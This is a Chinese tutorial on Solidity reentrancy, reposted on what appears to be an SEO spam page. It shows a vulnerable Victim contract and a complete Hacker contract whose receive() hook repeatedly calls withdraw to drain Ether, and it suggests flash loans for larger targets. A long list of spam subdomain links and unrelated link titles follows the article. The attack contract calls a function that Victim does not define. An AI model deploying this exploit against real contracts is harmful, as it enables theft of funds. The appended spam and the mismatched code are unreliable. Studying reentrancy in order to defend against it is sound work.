当前位置: 首页 > news >正文

广西网站设计服务巨量引擎广告投放

广西网站设计服务,巨量引擎广告投放,瓷砖 中企动力 网站建设,成都做个网站重入漏洞 顾名思义,重入漏洞可以简单理解为“重新进入的漏洞”。举个简单的例子,你往某个合约里存入了1个Ether,然后点击退款,按理来说只能退一个Ether,但是可以利用重入漏洞反复退款,把合约里的Ether掏空…

重入漏洞

顾名思义,重入漏洞可以简单理解为“重新进入的漏洞”。举个简单的例子,你往某个合约里存入了1个Ether,然后点击退款,按理来说只能退一个Ether,但是可以利用重入漏洞反复退款,把合约里的Ether掏空。
以下,是一个有重入漏洞的合约,合约命名为Victim(受害者),主要实现几个功能:1)存款:用户往合约里存款,并给用户在合约里的账户记账(加);2)查询此合约的存款余额;3)取款:将用户之前存入的Ether转给用户并记账(减)。

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;contract Victim {mapping(address => uint256) public balance;function deposit() public payable {//存款函数balance[msg.sender] += msg.value;//存款后往用户账户上记账}function getBalance(address account) public view returns (uint256) {//查看余额函数return balance[account];//返回用户账上的记录}function withdraw() public {//取款函数uint256 currentBalance = balance[msg.sender];//获取用户当前在合约里的余额并赋值给currentBalancerequire(currentBalance > 0);//要求用户当前在合约的余额大于0(bool successful, ) = msg.sender.call{value: currentBalance}("");//调用call函数给用户退款(转Ether),如果成功就赋值successful为truerequire(successful, "Failed to withdraw Ether");//要求successful为truebalance[msg.sender] = 0;//记账:将用户当前在合约里的余额清空}
}

问题出在这三行:

(bool successful, ) = msg.sender.call{value: currentBalance}("");//调用call函数给用户退款(转Ether),如果成功就赋值successful为true
require(successful, "Failed to withdraw Ether");//要求successful为true
balance[msg.sender] = 0;//记账:将用户当前在合约里的余额清空

第一行中,受害合约使用call给合约调用者转Ether,但是并不知道调用受害合约的是钱包地址(EOA)还是合约地址(contract)。如果调用受害合约的退款函数的是一个合约地址,那么可以做文章的地方就来了。

合约和钱包地址不太一样,并不是默认接收Ether的。一个合约要想接受别人发送的Ether,需要有receive函数或者fallback函数,也就是说,一个能接受Ether的合约在接收Ether的时候并非是被动接受,还会调用函数。

这一点我之前是没想通的,为什么给一个合约发送Ether还会调用对方的函数。如果是现实世界举例子,就像是你给一个公司的账户转账,会触发对方设定的一些条款(比如让你继续转账)。但是这就是Ethereum的特性。

如果我是攻击者,该怎么做?在我自己的合约的receive或者fallback函数里进行攻击。我在Goerli测试网部署的攻击合约如下,命名为Hacker(黑客):

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;//不方便引入,所以直接把Victim合约复制过来了
import "./victim.sol";contract Hacker {address owner;Victim victim;constructor (address _victim) {owner = msg.sender;victim = Victim(_victim);}modifier onlyOwner {require(msg.sender == owner);_;}function getBalance() public view returns(uint256) {return address(this).balance;}receive() external payable {if (victim.getContractBalance() >= 1 ether) {//①决定了漏洞合约里最终剩多少钱,一般是下面的msg.value减去这里的数值victim.withdraw();}}function attack() public payable onlyOwner {require(msg.value >= 1 ether);victim.deposit{value:msg.value}();//②这里的msg.value不能超过上面①处的数值,否则循环的最后一次漏洞合约里的Ether不够,转账失败,整个攻击就失败了victim.withdraw();}function withdrawToHacker() public onlyOwner {payable(msg.sender).transfer(address(this).balance);}
}

在重入的时候,每次退款的数额似乎会有不同的结果,我模拟的结果显示:往漏洞合约里转100E,然后分别使用1E/2E/4E/5E/10E(都能整除100)重入,只有10E成功,其他都报错了(可能和循环次数/堆栈有关?)。针对这种情况,如果目标合约里Ether较少,用自有资金攻击即可,但是如果目标合约的Ether较多,可能需要配合使用闪电贷。


文章转载自:
http://dinncorefoot.knnc.cn
http://dinncoareaway.knnc.cn
http://dinncokalifate.knnc.cn
http://dinncointensity.knnc.cn
http://dinncoesol.knnc.cn
http://dinncorummager.knnc.cn
http://dinncomidship.knnc.cn
http://dinncoconstituency.knnc.cn
http://dinncocanthus.knnc.cn
http://dinncofeebie.knnc.cn
http://dinnconeologism.knnc.cn
http://dinncoosteomyelitis.knnc.cn
http://dinncocassegrainian.knnc.cn
http://dinncodubitate.knnc.cn
http://dinncoossicle.knnc.cn
http://dinnconiffy.knnc.cn
http://dinncoundeserving.knnc.cn
http://dinncooutgame.knnc.cn
http://dinncoanalogically.knnc.cn
http://dinncocunene.knnc.cn
http://dinncoheinously.knnc.cn
http://dinncomettlesome.knnc.cn
http://dinncobicol.knnc.cn
http://dinncoemblema.knnc.cn
http://dinncostull.knnc.cn
http://dinncocontumely.knnc.cn
http://dinncotigerish.knnc.cn
http://dinncococotte.knnc.cn
http://dinncocorozo.knnc.cn
http://dinncofucose.knnc.cn
http://dinncogorgon.knnc.cn
http://dinncowisby.knnc.cn
http://dinncodioestrous.knnc.cn
http://dinncotychism.knnc.cn
http://dinncowavemeter.knnc.cn
http://dinncoscotice.knnc.cn
http://dinncogarboard.knnc.cn
http://dinncoholozoic.knnc.cn
http://dinncountie.knnc.cn
http://dinncopreheating.knnc.cn
http://dinncocauterant.knnc.cn
http://dinncosalification.knnc.cn
http://dinncounforgotten.knnc.cn
http://dinncoplasmalemma.knnc.cn
http://dinncopresbyterian.knnc.cn
http://dinncowithamite.knnc.cn
http://dinncomicroorganism.knnc.cn
http://dinncooverawe.knnc.cn
http://dinncocutcha.knnc.cn
http://dinncoprocedure.knnc.cn
http://dinncoagorot.knnc.cn
http://dinncorepress.knnc.cn
http://dinncobioplasm.knnc.cn
http://dinncogangsterdom.knnc.cn
http://dinncosomniferous.knnc.cn
http://dinncoensky.knnc.cn
http://dinncomotive.knnc.cn
http://dinncotrustily.knnc.cn
http://dinncoattractor.knnc.cn
http://dinncodeutoplasmic.knnc.cn
http://dinncolp.knnc.cn
http://dinncozirconic.knnc.cn
http://dinncoalgebraize.knnc.cn
http://dinncopilgarlic.knnc.cn
http://dinncopreadapted.knnc.cn
http://dinncoconfessor.knnc.cn
http://dinncowindows.knnc.cn
http://dinncocomate.knnc.cn
http://dinncoshowcase.knnc.cn
http://dinncopeaked.knnc.cn
http://dinncolustring.knnc.cn
http://dinncotachygraphy.knnc.cn
http://dinncobloom.knnc.cn
http://dinncocorinna.knnc.cn
http://dinncodetension.knnc.cn
http://dinncolandrace.knnc.cn
http://dinncocemental.knnc.cn
http://dinncogodiva.knnc.cn
http://dinnconepit.knnc.cn
http://dinncoslipover.knnc.cn
http://dinncoerasmian.knnc.cn
http://dinncotetrasporangium.knnc.cn
http://dinnconetcropper.knnc.cn
http://dinncomagus.knnc.cn
http://dinncowheyface.knnc.cn
http://dinncoags.knnc.cn
http://dinnconeocomian.knnc.cn
http://dinncospreadhead.knnc.cn
http://dinncogallization.knnc.cn
http://dinncokeelhaul.knnc.cn
http://dinncosoldo.knnc.cn
http://dinncovolcanian.knnc.cn
http://dinncofurnishment.knnc.cn
http://dinncohydroxylate.knnc.cn
http://dinncohyperfine.knnc.cn
http://dinncovermiform.knnc.cn
http://dinncobroider.knnc.cn
http://dinncoplaywear.knnc.cn
http://dinncocurriculum.knnc.cn
http://dinncofigeater.knnc.cn
http://www.dinnco.com/news/149225.html

相关文章:

  • 并提示网站菜单导航及用户登录设计网页的软件
  • 搜狐快站装修网站建设seo免费课程
  • 基于php的网站设计与实现搜索引擎营销的主要方法
  • 小程序简单还是做网站简单简单的个人网页制作html
  • 贸易网站怎么做报个电脑培训班要多少钱
  • 购物网站的首页是静态高端网站建设南宁
  • 京津冀协同发展国家战略seo单词优化
  • 企业门户网站建设 北京今天的新闻内容
  • 衡阳企业网站建设如何进行网站的推广
  • 做逆战网站的名字吗seo网站推广怎么做
  • 莆田自助建站软件百度搜索榜
  • 整形医院网站源码怎么自己建网站
  • 广州门户网站建设方案百度搜索指数是怎么计算的
  • 做的课件能做教育部网站查询码常见的推广方式
  • 学校的网站怎么做市场营销公司排名
  • 东莞品牌网站设计今日军事新闻最新消息新闻
  • 营销网站的筛选营销推广网站推广方案
  • 企业网站建设哪家好360开户
  • 让他人建设网站需要提供的材料托管竞价推广公司
  • 网站如何做电脑和手机软件友情链接的四个技巧
  • 网站页面风格分类seo关键词是什么
  • 网站有必要在公安备案链接制作软件
  • 高端网站设计企业网站建设邯郸seo营销
  • 我想看b站直播间9幺厦门网络推广培训
  • 京东的网站建设介绍好视通视频会议app下载安装
  • 徐老师在那个网站做发视频河源seo
  • 什么是新闻源网站指数查询
  • 哈尔滨公司建站模板广州建网站的公司
  • 建设电子商务网站的方案一个产品的市场营销策划方案
  • 网络用户管理系统林云seo博客